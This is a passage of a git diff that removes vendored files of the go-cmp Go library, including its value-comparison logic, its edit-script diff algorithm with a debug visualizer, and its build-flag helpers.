v[:0] and v[:1] are slices with the same starting pointer, - // but they are clearly different values. Using the slice pointer alone - // violates the assumption that equal pointers implies equal values. - - step := SliceIndex{&sliceIndex{pathStep: pathStep{typ: t.Elem()}, isSlice: isSlice}} - withIndexes := func(ix, iy int) SliceIndex { - if ix >= 0 { - step.vx, step.xkey = vx.Index(ix), ix - } else { - step.vx, step.xkey = reflect.Value{}, -1 - } - if iy >= 0 { - step.vy, step.ykey = vy.Index(iy), iy - } else { - step.vy, step.ykey = reflect.Value{}, -1 - } - return step - } - - // Ignore options are able to ignore missing elements in a slice. - // However, detecting these reliably requires an optimal differencing - // algorithm, for which diff.Difference is not. - // - // Instead, we first iterate through both slices to detect which elements - // would be ignored if standing alone. The index of non-discarded elements - // are stored in a separate slice, which diffing is then performed on. - var indexesX, indexesY []int - var ignoredX, ignoredY []bool - for ix := 0; ix < vx.Len(); ix++ { - ignored := s.statelessCompare(withIndexes(ix, -1)).NumDiff == 0 - if !ignored { - indexesX = append(indexesX, ix) - } - ignoredX = append(ignoredX, ignored) - } - for iy := 0; iy < vy.Len(); iy++ { - ignored := s.statelessCompare(withIndexes(-1, iy)).NumDiff == 0 - if !ignored { - indexesY = append(indexesY, iy) - } - ignoredY = append(ignoredY, ignored) - } - - // Compute an edit-script for slices vx and vy (excluding ignored elements). - edits := diff.Difference(len(indexesX), len(indexesY), func(ix, iy int) diff.Result { - return s.statelessCompare(withIndexes(indexesX[ix], indexesY[iy])) - }) - - // Replay the ignore-scripts and the edit-script. - var ix, iy int - for ix < vx.Len() || iy < vy.Len() { - var e diff.EditType - switch { - case ix < len(ignoredX) && ignoredX[ix]: - e = diff.UniqueX - case iy < len(ignoredY) && ignoredY[iy]: - e = diff.UniqueY - default: - e, edits = edits[0], edits[1:] - } - switch e { - case diff.UniqueX: - s.compareAny(withIndexes(ix, -1)) - ix++ - case diff.UniqueY: - s.compareAny(withIndexes(-1, iy)) - iy++ - default: - s.compareAny(withIndexes(ix, iy)) - ix++ - iy++ - } - } -} - -func (s *state) compareMap(t reflect.Type, vx, vy reflect.Value) { - if vx.IsNil() || vy.IsNil() { - s.report(vx.IsNil() && vy.IsNil(), 0) - return - } - - // Cycle-detection for maps. - if eq, visited := s.curPtrs.Push(vx, vy); visited { - s.report(eq, reportByCycle) - return - } - defer s.curPtrs.Pop(vx, vy) - - // We combine and sort the two map keys so that we can perform the - // comparisons in a deterministic order. - step := MapIndex{&mapIndex{pathStep: pathStep{typ: t.Elem()}}} - for _, k := range value.SortKeys(append(vx.MapKeys(), vy.MapKeys()...)) { - step.vx = vx.MapIndex(k) - step.vy = vy.MapIndex(k) - step.key = k - if !step.vx.IsValid() && !step.vy.IsValid() { - // It is possible for both vx and vy to be invalid if the - // key contained a NaN value in it. - // - // Even with the ability to retrieve NaN keys in Go 1.12, - // there still isn't a sensible way to compare the values since - // a NaN key may map to multiple unordered values. - // The most reasonable way to compare NaNs would be to compare the - // set of values. However, this is impossible to do efficiently - // since set equality is provably an O(n^2) operation given only - // an Equal function. If we had a Less function or Hash function, - // this could be done in O(n*log(n)) or O(n), respectively. - // - // Rather than adding complex logic to deal with NaNs, make it - // the user's responsibility to compare such obscure maps. - const help = "consider providing a Comparer to compare the map" - panic(fmt.Sprintf("%#v has map key with NaNs\n%s", s.curPath, help)) - } - s.compareAny(step) - } -} - -func (s *state) comparePtr(t reflect.Type, vx, vy reflect.Value) { - if vx.IsNil() || vy.IsNil() { - s.report(vx.IsNil() && vy.IsNil(), 0) - return - } - - // Cycle-detection for pointers. - if eq, visited := s.curPtrs.Push(vx, vy); visited { - s.report(eq, reportByCycle) - return - } - defer s.curPtrs.Pop(vx, vy) - - vx, vy = vx.Elem(), vy.Elem() - s.compareAny(Indirect{&indirect{pathStep{t.Elem(), vx, vy}}}) -} - -func (s *state) compareInterface(t reflect.Type, vx, vy reflect.Value) { - if vx.IsNil() || vy.IsNil() { - s.report(vx.IsNil() && vy.IsNil(), 0) - return - } - vx, vy = vx.Elem(), vy.Elem() - if vx.Type() != vy.Type() { - s.report(false, 0) - return - } - s.compareAny(TypeAssertion{&typeAssertion{pathStep{vx.Type(), vx, vy}}}) -} - -func (s *state) report(eq bool, rf resultFlags) { - if rf&reportByIgnore == 0 { - if eq { - s.result.NumSame++ - rf |= reportEqual - } else { - s.result.NumDiff++ - rf |= reportUnequal - } - } - for _, r := range s.reporters { - r.Report(Result{flags: rf}) - } -} - -// recChecker tracks the state needed to periodically perform checks that -// user provided transformers are not stuck in an infinitely recursive cycle. -type recChecker struct{ next int } - -// Check scans the Path for any recursive transformers and panics when any -// recursive transformers are detected. Note that the presence of a -// recursive Transformer does not necessarily imply an infinite cycle. -// As such, this check only activates after some minimal number of path steps. -func (rc *recChecker) Check(p Path) { - const minLen = 1 << 16 - if rc.next == 0 { - rc.next = minLen - } - if len(p) < rc.next { - return - } - rc.next <<= 1 - - // Check whether the same transformer has appeared at least twice. - var ss []string - m := map[Option]int{} - for _, ps := range p { - if t, ok := ps.(Transform); ok { - t := t.Option() - if m[t] == 1 { // Transformer was used exactly once before - tf := t.(*transformer).fnc.Type() - ss = append(ss, fmt.Sprintf("%v: %v => %v", t, tf.In(0), tf.Out(0))) - } - m[t]++ - } - } - if len(ss) > 0 { - const warning = "recursive set of Transformers detected" - const help = "consider using cmpopts.AcyclicTransformer" - set := strings.Join(ss, "\n\t") - panic(fmt.Sprintf("%s:\n\t%s\n%s", warning, set, help)) - } -} - -// dynChecker tracks the state needed to periodically perform checks that -// user provided functions are symmetric and deterministic. -// The zero value is safe for immediate use. -type dynChecker struct{ curr, next int } - -// Next increments the state and reports whether a check should be performed. -// -// Checks occur every Nth function call, where N is a triangular number: -// 0 1 3 6 10 15 21 28 36 45 55 66 78 91 105 120 136 153 171 190 ... -// See https://en.wikipedia.org/wiki/Triangular_number -// -// This sequence ensures that the cost of checks drops significantly as -// the number of functions calls grows larger. -func (dc *dynChecker) Next() bool { - ok := dc.curr == dc.next - if ok { - dc.curr = 0 - dc.next++ - } - dc.curr++ - return ok -} - -// makeAddressable returns a value that is always addressable. -// It returns the input verbatim if it is already addressable, -// otherwise it creates a new value and returns an addressable copy. -func makeAddressable(v reflect.Value) reflect.Value { - if v.CanAddr() { - return v - } - vc := reflect.New(v.Type()).Elem() - vc.Set(v) - return vc -} diff --git a/vendor/github.com/google/go-cmp/cmp/export_panic.go b/vendor/github.com/google/go-cmp/cmp/export_panic.go deleted file mode 100644 index dfa5d21376..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/export_panic.go +++ /dev/null @@ -1,15 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// +build purego - -package cmp - -import "reflect" - -const supportExporters = false - -func retrieveUnexportedField(reflect.Value, reflect.StructField, bool) reflect.Value { - panic("no support for forcibly accessing unexported fields") -} diff --git a/vendor/github.com/google/go-cmp/cmp/export_unsafe.go b/vendor/github.com/google/go-cmp/cmp/export_unsafe.go deleted file mode 100644 index 351f1a34b4..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/export_unsafe.go +++ /dev/null @@ -1,35 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// +build !purego - -package cmp - -import ( - "reflect" - "unsafe" -) - -const supportExporters = true - -// retrieveUnexportedField uses unsafe to forcibly retrieve any field from -// a struct such that the value has read-write permissions. -// -// The parent struct, v, must be addressable, while f must be a StructField -// describing the field to retrieve. If addr is false, -// then the returned value will be shallowed copied to be non-addressable. -func retrieveUnexportedField(v reflect.Value, f reflect.StructField, addr bool) reflect.Value { - ve := reflect.NewAt(f.Type, unsafe.Pointer(uintptr(unsafe.Pointer(v.UnsafeAddr()))+f.Offset)).Elem() - if !addr { - // A field is addressable if and only if the struct is addressable. - // If the original parent value was not addressable, shallow copy the - // value to make it non-addressable to avoid leaking an implementation - // detail of how forcibly exporting a field works. - if ve.Kind() == reflect.Interface && ve.IsNil() { - return reflect.Zero(f.Type) - } - return reflect.ValueOf(ve.Interface()).Convert(f.Type) - } - return ve -} diff --git a/vendor/github.com/google/go-cmp/cmp/internal/diff/debug_disable.go b/vendor/github.com/google/go-cmp/cmp/internal/diff/debug_disable.go deleted file mode 100644 index fe98dcc677..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/diff/debug_disable.go +++ /dev/null @@ -1,17 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// +build !cmp_debug - -package diff - -var debug debugger - -type debugger struct{} - -func (debugger) Begin(_, _ int, f EqualFunc, _, _ *EditScript) EqualFunc { - return f -} -func (debugger) Update() {} -func (debugger) Finish() {} diff --git a/vendor/github.com/google/go-cmp/cmp/internal/diff/debug_enable.go b/vendor/github.com/google/go-cmp/cmp/internal/diff/debug_enable.go deleted file mode 100644 index 597b6ae56b..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/diff/debug_enable.go +++ /dev/null @@ -1,122 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// +build cmp_debug - -package diff - -import ( - "fmt" - "strings" - "sync" - "time" -) - -// The algorithm can be seen running in real-time by enabling debugging: -// go test -tags=cmp_debug -v -// -// Example output: -// === RUN TestDifference/#34 -// ┌───────────────────────────────┐ -// │ \ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ # ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ \ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ ¡ \ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ ¡ ¡ X # ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ ¡ ¡ # \ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ # # ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ # \ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ ¡ ¡ \ ¡ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ \ ¡ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ \ ¡ ¡ ¡ ¡ ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ \ ¡ ¡ # ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ \ # # ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ # # # ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ # # # # ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ # # # # # ¡ │ -// │ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ \ │ -// └───────────────────────────────┘ -// [.Y..M.XY......YXYXY.|] -// -// The grid represents the edit-graph where the horizontal axis represents -// list X and the vertical axis represents list Y. The start of the two lists -// is the top-left, while the ends are the bottom-right. The '¡' represents -// an unexplored node in the graph. The '\' indicates that the two symbols -// from list X and Y are equal. The 'X' indicates that two symbols are similar -// (but not exactly equal) to each other. The '#' indicates that the two symbols -// are different (and not similar). The algorithm traverses this graph trying to -// make the paths starting in the top-left and the bottom-right connect. -// -// The series of '.', 'X', 'Y', and 'M' characters at the bottom represents -// the currently established path from the forward and reverse searches, -// separated by a '|' character. - -const ( - updateDelay = 100 * time.Millisecond - finishDelay = 500 * time.Millisecond - ansiTerminal = true // ANSI escape codes used to move terminal cursor -) - -var debug debugger - -type debugger struct { - sync.Mutex - p1, p2 EditScript - fwdPath, revPath *EditScript - grid []byte - lines int -} - -func (dbg *debugger) Begin(nx, ny int, f EqualFunc, p1, p2 *EditScript) EqualFunc { - dbg.Lock() - dbg.fwdPath, dbg.revPath = p1, p2 - top := "┌─" + strings.Repeat("──", nx) + "┐\n" - row := "│ " + strings.Repeat("¡ ", nx) + "│\n" - btm := "└─" + strings.Repeat("──", nx) + "┘\n" - dbg.grid = []byte(top + strings.Repeat(row, ny) + btm) - dbg.lines = strings.Count(dbg.String(), "\n") - fmt.Print(dbg) - - // Wrap the EqualFunc so that we can intercept each result. - return func(ix, iy int) (r Result) { - cell := dbg.grid[len(top)+iy*len(row):][len("│ ")+len("¡ ")*ix:][:len("¡")] - for i := range cell { - cell[i] = 0 // Zero out the multiple bytes of UTF-8 middle-dot - } - switch r = f(ix, iy); { - case r.Equal(): - cell[0] = '\\' - case r.Similar(): - cell[0] = 'X' - default: - cell[0] = '#' - } - return - } -} - -func (dbg *debugger) Update() { - dbg.print(updateDelay) -} - -func (dbg *debugger) Finish() { - dbg.print(finishDelay) - dbg.Unlock() -} - -func (dbg *debugger) String() string { - dbg.p1, dbg.p2 = *dbg.fwdPath, dbg.p2[:0] - for i := len(*dbg.revPath) - 1; i >= 0; i-- { - dbg.p2 = append(dbg.p2, (*dbg.revPath)[i]) - } - return fmt.Sprintf("%s[%v|%v]\n\n", dbg.grid, dbg.p1, dbg.p2) -} - -func (dbg *debugger) print(d time.Duration) { - if ansiTerminal { - fmt.Printf("\x1b[%dA", dbg.lines) // Reset terminal cursor - } - fmt.Print(dbg) - time.Sleep(d) -} diff --git a/vendor/github.com/google/go-cmp/cmp/internal/diff/diff.go b/vendor/github.com/google/go-cmp/cmp/internal/diff/diff.go deleted file mode 100644 index 730e223ee7..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/diff/diff.go +++ /dev/null @@ -1,392 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// Package diff implements an algorithm for producing edit-scripts. -// The edit-script is a sequence of operations needed to transform one list -// of symbols into another (or vice-versa). The edits allowed are insertions, -// deletions, and modifications. The summation of all edits is called the -// Levenshtein distance as this problem is well-known in computer science. -// -// This package prioritizes performance over accuracy. That is, the run time -// is more important than obtaining a minimal Levenshtein distance. -package diff - -import ( - "math/rand" - "time" - - "github.com/google/go-cmp/cmp/internal/flags" -) - -// EditType represents a single operation within an edit-script. -type EditType uint8 - -const ( - // Identity indicates that a symbol pair is identical in both list X and Y. - Identity EditType = iota - // UniqueX indicates that a symbol only exists in X and not Y. - UniqueX - // UniqueY indicates that a symbol only exists in Y and not X. - UniqueY - // Modified indicates that a symbol pair is a modification of each other. - Modified -) - -// EditScript represents the series of differences between two lists. -type EditScript []EditType - -// String returns a human-readable string representing the edit-script where -// Identity, UniqueX, UniqueY, and Modified are represented by the -// '.', 'X', 'Y', and 'M' characters, respectively. -func (es EditScript) String() string { - b := make([]byte, len(es)) - for i, e := range es { - switch e { - case Identity: - b[i] = '.' - case UniqueX: - b[i] = 'X' - case UniqueY: - b[i] = 'Y' - case Modified: - b[i] = 'M' - default: - panic("invalid edit-type") - } - } - return string(b) -} - -// stats returns a histogram of the number of each type of edit operation. -func (es EditScript) stats() (s struct{ NI, NX, NY, NM int }) { - for _, e := range es { - switch e { - case Identity: - s.NI++ - case UniqueX: - s.NX++ - case UniqueY: - s.NY++ - case Modified: - s.NM++ - default: - panic("invalid edit-type") - } - } - return -} - -// Dist is the Levenshtein distance and is guaranteed to be 0 if and only if -// lists X and Y are equal. -func (es EditScript) Dist() int { return len(es) - es.stats().NI } - -// LenX is the length of the X list. -func (es EditScript) LenX() int { return len(es) - es.stats().NY } - -// LenY is the length of the Y list. -func (es EditScript) LenY() int { return len(es) - es.stats().NX } - -// EqualFunc reports whether the symbols at indexes ix and iy are equal. -// When called by Difference, the index is guaranteed to be within nx and ny. -type EqualFunc func(ix int, iy int) Result - -// Result is the result of comparison. -// NumSame is the number of sub-elements that are equal. -// NumDiff is the number of sub-elements that are not equal. -type Result struct{ NumSame, NumDiff int } - -// BoolResult returns a Result that is either Equal or not Equal. -func BoolResult(b bool) Result { - if b { - return Result{NumSame: 1} // Equal, Similar - } else { - return Result{NumDiff: 2} // Not Equal, not Similar - } -} - -// Equal indicates whether the symbols are equal. Two symbols are equal -// if and only if NumDiff == 0. If Equal, then they are also Similar. -func (r Result) Equal() bool { return r.NumDiff == 0 } - -// Similar indicates whether two symbols are similar and may be represented -// by using the Modified type. As a special case, we consider binary comparisons -// (i.e., those that return Result{1, 0} or Result{0, 1}) to be similar. -// -// The exact ratio of NumSame to NumDiff to determine similarity may change. -func (r Result) Similar() bool { - // Use NumSame+1 to offset NumSame so that binary comparisons are similar. - return r.NumSame+1 >= r.NumDiff -} - -var randInt = rand.New(rand.NewSource(time.Now().Unix())).Intn(2) - -// Difference reports whether two lists of lengths nx and ny are equal -// given the definition of equality provided as f. -// -// This function returns an edit-script, which is a sequence of operations -// needed to convert one list into the other. The following invariants for -// the edit-script are maintained: -// â€ĸ eq == (es.Dist()==0) -// â€ĸ nx == es.LenX() -// â€ĸ ny == es.LenY() -// -// This algorithm is not guaranteed to be an optimal solution (i.e., one that -// produces an edit-script with a minimal Levenshtein distance). This algorithm -// favors performance over optimality. The exact output is not guaranteed to -// be stable and may change over time. -func Difference(nx, ny int, f EqualFunc) (es EditScript) { - // This algorithm is based on traversing what is known as an "edit-graph". - // See Figure 1 from "An O(ND) Difference Algorithm and Its Variations" - // by Eugene W. Myers. Since D can be as large as N itself, this is - // effectively O(N^2). Unlike the algorithm from that paper, we are not - // interested in the optimal path, but at least some "decent" path. - // - // For example, let X and Y be lists of symbols: - // X = [A B C A B B A] - // Y = [C B A B A C] - // - // The edit-graph can be drawn as the following: - // A B C A B B A - // ┌─────────────┐ - // C │_|_|\|_|_|_|_│ 0 - // B │_|\|_|_|\|\|_│ 1 - // A │\|_|_|\|_|_|\│ 2 - // B │_|\|_|_|\|\|_│ 3 - // A │\|_|_|\|_|_|\│ 4 - // C │ | |\| | | | │ 5 - // └─────────────┘ 6 - // 0 1 2 3 4 5 6 7 - // - // List X is written along the horizontal axis, while list Y is written - // along the vertical axis. At any point on this grid, if the symbol in - // list X matches the corresponding symbol in list Y, then a '\' is drawn. - // The goal of any minimal edit-script algorithm is to find a path from the - // top-left corner to the bottom-right corner, while traveling through the - // fewest horizontal or vertical edges. - // A horizontal edge is equivalent to inserting a symbol from list X. - // A vertical edge is equivalent to inserting a symbol from list Y. - // A diagonal edge is equivalent to a matching symbol between both X and Y. - - // To ensure flexibility in changing the algorithm in the future, - // introduce some degree of deliberate instability. - // This is achieved by fiddling the zigzag iterator to start searching - // the graph starting from the bottom-right versus than the top-left. - // The result may differ depending on the starting search location, - // but still produces a valid edit script. - zigzagInit := randInt // either 0 or 1 - if flags.Deterministic { - zigzagInit = 0 - } - - // Invariants: - // â€ĸ 0 ≤ fwdPath.X ≤ (fwdFrontier.X, revFrontier.X) ≤ revPath.X ≤ nx - // â€ĸ 0 ≤ fwdPath.Y ≤ (fwdFrontier.Y, revFrontier.Y) ≤ revPath.Y ≤ ny - // - // In general: - // â€ĸ fwdFrontier.X < revFrontier.X - // â€ĸ fwdFrontier.Y < revFrontier.Y - // Unless, it is time for the algorithm to terminate. - fwdPath := path{+1, point{0, 0}, make(EditScript, 0, (nx+ny)/2)} - revPath := path{-1, point{nx, ny}, make(EditScript, 0)} - fwdFrontier := fwdPath.point // Forward search frontier - revFrontier := revPath.point // Reverse search frontier - - // Search budget bounds the cost of searching for better paths. - // The longest sequence of non-matching symbols that can be tolerated is - // approximately the square-root of the search budget. - searchBudget := 4 * (nx + ny) // O(n) - - // The algorithm below is a greedy, meet-in-the-middle algorithm for - // computing sub-optimal edit-scripts between two lists. - // - // The algorithm is approximately as follows: - // â€ĸ Searching for differences switches back-and-forth between - // a search that starts at the beginning (the top-left corner), and - // a search that starts at the end (the bottom-right corner). The goal of - // the search is connect with the search from the opposite corner. - // â€ĸ As we search, we build a path in a greedy manner, where the first - // match seen is added to the path (this is sub-optimal, but provides a - // decent result in practice). When matches are found, we try the next pair - // of symbols in the lists and follow all matches as far as possible. - // â€ĸ When searching for matches, we search along a diagonal going through - // through the "frontier" point. If no matches are found, we advance the - // frontier towards the opposite corner. - // â€ĸ This algorithm terminates when either the X coordinates or the - // Y coordinates of the forward and reverse frontier points ever intersect. - // - // This algorithm is correct even if searching only in the forward direction - // or in the reverse direction. We do both because it is commonly observed - // that two lists commonly differ because elements were added to the front - // or end of the other list. - // - // Running the tests with the "cmp_debug" build tag prints a visualization - // of the algorithm running in real-time. This is educational for - // understanding how the algorithm works. See debug_enable.go. - f = debug.Begin(nx, ny, f, &fwdPath.es, &revPath.es) - for { - // Forward search from the beginning. - if fwdFrontier.X >= revFrontier.X || fwdFrontier.Y >= revFrontier.Y || searchBudget == 0 { - break - } - for stop1, stop2, i := false, false, zigzagInit; !(stop1 && stop2) && searchBudget > 0; i++ { - // Search in a diagonal pattern for a match. - z := zigzag(i) - p := point{fwdFrontier.X + z, fwdFrontier.Y - z} - switch { - case p.X >= revPath.X || p.Y < fwdPath.Y: - stop1 = true // Hit top-right corner - case p.Y >= revPath.Y || p.X < fwdPath.X: - stop2 = true // Hit bottom-left corner - case f(p.X, p.Y).Equal(): - // Match found, so connect the path to this point. - fwdPath.connect(p, f) - fwdPath.append(Identity) - // Follow sequence of matches as far as possible. - for fwdPath.X < revPath.X && fwdPath.Y < revPath.Y { - if !f(fwdPath.X, fwdPath.Y).Equal() { - break - } - fwdPath.append(Identity) - } - fwdFrontier = fwdPath.point - stop1, stop2 = true, true - default: - searchBudget-- // Match not found - } - debug.Update() - } - // Advance the frontier towards reverse point. - if revPath.X-fwdFrontier.X >= revPath.Y-fwdFrontier.Y { - fwdFrontier.X++ - } else { - fwdFrontier.Y++ - } - - // Reverse search from the end. - if fwdFrontier.X >= revFrontier.X || fwdFrontier.Y >= revFrontier.Y || searchBudget == 0 { - break - } - for stop1, stop2, i := false, false, 0; !(stop1 && stop2) && searchBudget > 0; i++ { - // Search in a diagonal pattern for a match. - z := zigzag(i) - p := point{revFrontier.X - z, revFrontier.Y + z} - switch { - case fwdPath.X >= p.X || revPath.Y < p.Y: - stop1 = true // Hit bottom-left corner - case fwdPath.Y >= p.Y || revPath.X < p.X: - stop2 = true // Hit top-right corner - case f(p.X-1, p.Y-1).Equal(): - // Match found, so connect the path to this point. - revPath.connect(p, f) - revPath.append(Identity) - // Follow sequence of matches as far as possible. - for fwdPath.X < revPath.X && fwdPath.Y < revPath.Y { - if !f(revPath.X-1, revPath.Y-1).Equal() { - break - } - revPath.append(Identity) - } - revFrontier = revPath.point - stop1, stop2 = true, true - default: - searchBudget-- // Match not found - } - debug.Update() - } - // Advance the frontier towards forward point. - if revFrontier.X-fwdPath.X >= revFrontier.Y-fwdPath.Y { - revFrontier.X-- - } else { - revFrontier.Y-- - } - } - - // Join the forward and reverse paths and then append the reverse path. - fwdPath.connect(revPath.point, f) - for i := len(revPath.es) - 1; i >= 0; i-- { - t := revPath.es[i] - revPath.es = revPath.es[:i] - fwdPath.append(t) - } - debug.Finish() - return fwdPath.es -} - -type path struct { - dir int // +1 if forward, -1 if reverse - point // Leading point of the EditScript path - es EditScript -} - -// connect appends any necessary Identity, Modified, UniqueX, or UniqueY types -// to the edit-script to connect p.point to dst. -func (p *path) connect(dst point, f EqualFunc) { - if p.dir > 0 { - // Connect in forward direction. - for dst.X > p.X && dst.Y > p.Y { - switch r := f(p.X, p.Y); { - case r.Equal(): - p.append(Identity) - case r.Similar(): - p.append(Modified) - case dst.X-p.X >= dst.Y-p.Y: - p.append(UniqueX) - default: - p.append(UniqueY) - } - } - for dst.X > p.X { - p.append(UniqueX) - } - for dst.Y > p.Y { - p.append(UniqueY) - } - } else { - // Connect in reverse direction. - for p.X > dst.X && p.Y > dst.Y { - switch r := f(p.X-1, p.Y-1); { - case r.Equal(): - p.append(Identity) - case r.Similar(): - p.append(Modified) - case p.Y-dst.Y >= p.X-dst.X: - p.append(UniqueY) - default: - p.append(UniqueX) - } - } - for p.X > dst.X { - p.append(UniqueX) - } - for p.Y > dst.Y { - p.append(UniqueY) - } - } -} - -func (p *path) append(t EditType) { - p.es = append(p.es, t) - switch t { - case Identity, Modified: - p.add(p.dir, p.dir) - case UniqueX: - p.add(p.dir, 0) - case UniqueY: - p.add(0, p.dir) - } - debug.Update() -} - -type point struct{ X, Y int } - -func (p *point) add(dx, dy int) { p.X += dx; p.Y += dy } - -// zigzag maps a consecutive sequence of integers to a zig-zag sequence. -// [0 1 2 3 4 5 ...] => [0 -1 +1 -2 +2 ...] -func zigzag(x int) int { - if x&1 != 0 { - x = ^x - } - return x >> 1 -} diff --git a/vendor/github.com/google/go-cmp/cmp/internal/flags/flags.go b/vendor/github.com/google/go-cmp/cmp/internal/flags/flags.go deleted file mode 100644 index a9e7fc0b5b..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/flags/flags.go +++ /dev/null @@ -1,9 +0,0 @@ -// Copyright 2019, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -package flags - -// Deterministic controls whether the output of Diff should be deterministic. -// This is only used for testing. -var Deterministic bool diff --git a/vendor/github.com/google/go-cmp/cmp/internal/flags/toolchain_legacy.go b/vendor/github.com/google/go-cmp/cmp/internal/flags/toolchain_legacy.go deleted file mode 100644 index 01aed0a153..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/flags/toolchain_legacy.go +++ /dev/null @@ -1,10 +0,0 @@ -// Copyright 2019, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// +build !go1.10 - -package flags - -// AtLeastGo110 reports whether the Go toolchain is at least Go 1.10. -const AtLeastGo110 = false diff --git a/vendor/github.com/google/go-cmp/cmp/internal/flags/toolchain_recent.go b/vendor/github.com/google/go-cmp/cmp/internal/flags/toolchain_recent.go deleted file mode 100644 index c0b667f58b..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/flags/toolchain_recent.go +++ /dev/null @@ -1,10 +0,0 @@ -// Copyright 2019, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// +build go1.10 - -package flags - -// AtLeastGo110 reports whether the Go toolchain is at least Go 1.10. -const AtLeastGo110 = true diff --git a/vendor/github.com/google/go-cmp/cmp/internal/function/func.go b/vendor/github.com/google/go-cmp/cmp/internal/function/func.go deleted file mode 100644 index ace1dbe86e..0000000000 --- a/vendor/github.com/google/go-cmp/cmp/internal/function/func.go +++ /dev/null @@ -1,99 +0,0 @@ -// Copyright 2017, The Go Authors. All rights reserved. -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE.md file. - -// Package function provides functionality for identifying function types. -package function - -import ( - "reflect" - "regexp" - "runtime" - "strings" -) - -type funcType int - -const ( - _ funcType = iota - - tbFunc // func(T) bool - ttbFunc // func(T, T) bool - trbFunc // func(T, R) bool - tibFunc // func(T, I) bool - trFunc // func(T) R - - Equal = ttbFunc // func(T, T) bool - EqualAssignable = tibFunc // func(T, I) bool; encapsulates func(T, T) bool - Transformer = trFunc // func(T) R - ValueFilter = ttbFunc // func(T, T) bool - Less = ttbFunc // func(T, T) bool - ValuePredicate = tbFunc // func(T) bool - KeyValuePredicate = trbFunc // func(T, R) bool -) - -var boolType = reflect.TypeOf(true) - -// IsType reports whether the reflect.Type is of the specified function type. -func IsType(t reflect.Type, ft funcType) bool { - if t == nil || t.Kind() != reflect.Func || t.IsVariadic() { - return false - } - ni, no := t.NumIn(), t.NumOut() - switch ft { - case tbFunc: // func(T) bool - if ni == 1 && no == 1 && t.Out(0) == boolType { - return true - } - case ttbFunc: // func(T, T) bool - if ni == 2 && no == 1 && t.In(0) == t.In(1) && t.Out(0) == boolType { - return true - } - case trbFunc: // func(T, R) bool - if ni == 2 && no == 1 && t.Out(0) == boolType { - return true - } - case tibFunc: // func(T, I) bool - if ni == 2 && no == 1 && t.In(0).AssignableTo(t.In(1)) && t.Out(0) == boolType { - return true - } - case trFunc: // func(T) R - if ni == 1 && no == 1 { - return true - } - } - return false -} - -var lastIdentRx = regexp.MustCompile(`[_\p{L}][_\p{L}\p{N}]*$`) - -// NameOf returns the name of the function value. -func NameOf(v reflect.Value) string { - fnc := runtime.FuncForPC(v.Pointer()) - if fnc == nil { - return "" - } - fullName := fnc.Name() // e.g., "long/path/name/mypkg.(*MyType).(long/path/name/mypkg.myMethod)-fm" - - // Method closures have a "-fm" suffix. - fullName = strings.TrimSuffix(fullName, "-fm") - - var name string - for len(fullName) > 0 { - inParen := strings.HasSuffix(fullName, ")") - fullName = strings.TrimSuffix(fullName, ")") - - s := lastIdentRx.FindString(fullName) - if s == "" { - break - } - name = s + "." + name - fullName = strings.TrimSuffix(fullName, s) - - if i := strings.LastIndexByte(fullName, '('); inParen && i >= 0 { - fullName = fullName[:i] - } - fullName = strings.TrimSuffix(fullName, ".") - } - return strings.TrimSuffix(name, ".") -} diff --git a/vendor/github.com/google/go-cmp/cmp/internal/value/name.go b/vendor/github.com/google/go-cmp/cmp/internal/value/name.go deleted file mode 100644 index 8228e7d512..0000000000 --- 